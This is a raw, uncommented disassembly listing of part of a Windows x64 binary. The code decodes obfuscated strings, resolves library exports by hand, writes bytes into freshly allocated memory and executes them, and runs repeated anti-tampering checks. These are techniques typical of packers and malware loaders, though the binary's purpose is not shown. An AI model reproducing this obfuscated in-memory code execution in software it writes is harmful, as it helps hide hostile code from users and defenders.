lea r11d, [rax + 0x11]
movabs r9, 0x382abe09c4
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3f8], dil
add r10, r15
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14003442b
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x1400ea520]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x1400ea380]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0xaca0
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xb78]
xor dil, r8b
mov byte [rbp + r8 + 0xb78], dil
add r8, r15
add r9, r12
add r10, 0x22
movabs rax, 0x70557c1388
cmp r9, rax
jb 0x1400344c7
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r15d
call fcn.1400a3dd8
int3
mov edi, dword [r13 + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x1400fc370], r14
jne 0x14003459b
mov ecx, 0x26b0
call fcn.1400a869c
test rax, rax
je 0x14003459b
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x1400fc370], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x1400ea510]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.14003e5e8
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
add rdi, r15
cmp rdi, 0x17
jb 0x1400345da
mov byte [rbp + 0x7ff], r14b
or rdx, 0xffffffffffffffff
mov rbx, qword [0x1400fc370]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x1400346f6
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x1400346ae
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
cmovb rcx, rdx
call fcn.1400a869c
mov rsi, rax
test rax, rax
je 0x1400346f3
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400fc370]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c6890
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c6f30
mov rcx, rdi
call fcn.1400a8578
mov qword [0x1400fc370], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.14003e500
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x140034717
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x1400fc370]
test rbx, rbx
je 0x140034821
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x1400347db
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a869c
mov rsi, rax
test rax, rax
je 0x14003481e
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400fc370]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c6890
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c6f30
mov rcx, rdi
call fcn.1400a8578
mov qword [0x1400fc370], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
mov r12d, 3
test rax, rax
je 0x1400348b8
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400348b8
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400348b8
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x1400348b8
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x1400348b8
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400348a7
inc rax
test edi, edi
jne 0x140034892
test r8d, r8d
je 0x140034932
inc rdx
cmp rdx, rsi
jb 0x140034881
mov esi, r14d
mov rdi, qword [0x1400fc370]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
test r15, r15
jle 0x140034b07
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rax, xmm1
test rax, rax
je 0x140034af4
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x140034af4
mov cl, byte [rbp + 0xf70]
test cl, cl
jne 0x140034ab8
xor edx, edx
mov rcx, rax
call fcn.1400c6f30
jmp 0x140034af2
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x1400348b8
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
jns 0x140034956
xor r14d, r14d
jmp 0x1400348b8
mov r9d, 4
mov r8d, 0x3000
mov r15d, 0x1000
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.14009ce10
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.14003f0c4
lea rcx, [rbp + 0x87b0]
call fcn.14003e65c
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x87b0]
call fcn.14003e65c
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x1400349ca
mov r8, r15
lea rdx, [rbp + 0x466e0]
mov rcx, rbx
call fcn.1400c6890
mov dword [0x1400f8a24], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1400f8a20]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f8a28]
mov word [rdi + 8], ax
mov al, byte [0x1400f8a2a]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfcc], r14d
lea r9, [rbp + 0xfcc]
lea r8d, [r14 + 0x20]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x1020]
mov r8, r12
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov esi, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r15
xor edx, edx
mov rcx, rbx
call fcn.1400c6f30
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400f8a24], r14d
jmp 0x1400348bb
cmp cl, 1
jne 0x140034af4
mov rdx, rax
lea rcx, [rbp + 0x1168]
call fcn.14003ee2c
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.14003efe0
lea rcx, [rbp + 0x1168]
call fcn.14003ef70
lea rcx, [rbp + 0x1168]
call fcn.1400059a8
xor edx, edx
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x1400348e4
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400c6f30
mov rcx, rdi
call fcn.1400a8578
xor r15d, r15d
mov qword [0x1400fc370], r15
test esi, esi
js 0x14003cf9d
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x14003cf9d
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.1400a869c
test rax, rax
je 0x140034b6a
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x1400fc370], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x1400ea510]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.14003e5e8
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x140034bad
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x1400fc370]
test rbx, rbx
je 0x140034cd4
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140034c80
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a869c
mov rsi, rax
test rax, rax
je 0x140034cc7
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400fc370]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c6890
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c6f30
mov rcx, rdi
call fcn.1400a8578
mov qword [0x1400fc370], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x140034cca
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.14003e500
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x140034ceb
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x1400fc370]
test rbx, rbx
je 0x140034dfa
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140034db2
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a869c
mov rsi, rax
test rax, rax
je 0x140034df7
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400fc370]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c6890
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c6f30
mov rcx, rdi
call fcn.1400a8578
mov qword [0x1400fc370], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x140034dfa
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140034e8b
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140034e8b
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140034e8b
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140034e8b
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140034e8b
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140034e7a
inc rax
test edi, edi
jne 0x140034e65
test r8d, r8d
je 0x140034f09
inc rdx
cmp rdx, rsi
jb 0x140034e54
mov esi, r15d
mov rdi, qword [0x1400fc370]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov r14d, r13d
test r15, r15
jle 0x1400350d9
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rax, xmm1
test rax, rax
je 0x1400350c6
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x1400350c6
mov cl, byte [rbp + 0xf70]
test cl, cl
jne 0x14003508c
xor edx, edx
mov rcx, rax
call fcn.1400c6f30
jmp 0x1400350c6
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140034e8b
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x140034e8b
cmp cl, 1
jne 0x1400350c6
mov rdx, rax
lea rcx, [rbp + 0x1148]
call fcn.14003ee2c
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.14003efe0
lea rcx, [rbp + 0x1148]
call fcn.14003ef70
lea rcx, [rbp + 0x1148]
call fcn.1400059a8
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x140034ebb
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400c6f30
mov rcx, rdi
call fcn.1400a8578
mov qword [0x1400fc370], r13
test esi, esi
js 0x14003ce04
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x14003ce04
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov rsi, qword [rsp + 0x70]
mov qword [rsp + 0x70], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], r15
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
mov r14d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
add rdi, r14
cmp r8d, 8
jb 0x140035189
mov r11d, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r15, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r10b, dil
xor r10b, 0x28
mov ebx, edi
mov ecx, r13d
lea r9, [rbp + 0xf58]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf58]
mov rax, r15
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r9, r14
cmp ecx, 8
jb 0x140035202
movzx ecx, r10b
add ecx, ebx
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add r11d, r14d
add r8, r14
movsxd rax, r11d
cmp rax, 0x28
jb 0x1400351e4
mov qword [rbp + 0xf58], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], r15
xor esi, esi
mov qword [rbp + 0xf50], rsi
mov r8d, esi
mov edi, esi
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, r14
cmp r8d, 8
jb 0x14003529e
mov r11d, esi
mov rax, rsi
lea r8, [rbp + 0x285d0]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r10b, dil
xor r10b, 5
mov ebx, edi
mov ecx, esi
lea r9, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r9, r14
cmp ecx, 8
jb 0x140035316
movdqa xmm0, xmmword [0x1400ea310]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], 0xb2
mov r10, r13
movabs rbx, 0x1a6e778c2
movabs rsi, 0x8080808080808081
movabs r8, 0x1c155f04e2
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x382abe09c4
movabs r14, 0x1a6e778c1
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x3b0]
xor dil, r10b
mov byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14003ce58
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [0x1400ea5c0]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0xcef24185
mov dword [rbp + 0x96c], 0xf37bda29
mov dword [rbp + 0x970], 0x50ab2e1f
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
movabs r9, 0x2e41513538
lea r10d, [rax + 0x1c]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x5c82a26a70
cmp r9, rax
jb 0x14003cf0b
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400a3dd8
int3
movdqa xmm0, xmmword [0x1400ea310]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], 0xb2
mov r10, r15
movabs rbx, 0x1a6e778c2
movabs rsi, 0x8080808080808081
movabs r8, 0x1c155f04e2
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x382abe09c4
movabs r14, 0x1a6e778c1
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14003cff1
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [0x1400ea5a0]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0xd8e065b1
mov word [rbp + 0x754], 0xb0
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x22b0fce7ea
movabs r10, 0x4561f9cfd4
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x14003d095
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400a3dd8
int3
mov ebx, 0xdff380c9
cmp rax, rbx
jne 0x14003d1cd
mov rax, qword gs:[9]
movabs rcx, 0x6914cbf2a209ecb0
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003d1ad
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003d1ad
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003d1cd
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a3dd8
int3
movdqa xmm0, xmmword [0x1400ea310]
movdqu xmmword [rbp + 0x350], xmm0
mov word [rbp + 0x360], 0xb2
mov r10, r14
movabs rsi, 0x8080808080808081
movabs r8, 0x1c155f04e2
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x382abe09c4
movabs r15, 0x1a6e778c1
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x350], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14003d217
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x1400ea370]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0x5e562bed
mov dword [rbp + 0x82c], 0xd34784
mov r8, r14
movabs r9, 0x25fecbd96e
mov r10d, reloc.WS2_32.dll_socket
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x818]
xor dil, r8b
mov byte [rbp + r8 + 0x818], dil
inc r8
add r9, r12
add r10, 0x17
movabs rax, 0x4bfd97b2dc
cmp r9, rax
jb 0x14003d2b2
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x18]
cmp rax, rbx
jne 0x14003d400
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x18ff88d1
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x333c2c22
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0xc6f3f7f8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003d3e0
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003d3e0
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003d400
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, rbx
jne 0x14003dab1
mov rax, qword gs:[9]
mov ebx, 0xe330532b
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003d493
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003d493
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003dab1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
movdqa xmm0, xmmword [0x1400ea310]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], 0xb2
mov r10, r15
movabs rbx, 0x8080808080808081
movabs r8, 0x1c155f04e2
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x382abe09c4
movabs r13, 0x1a6e778c1
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x368], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14003d4fd
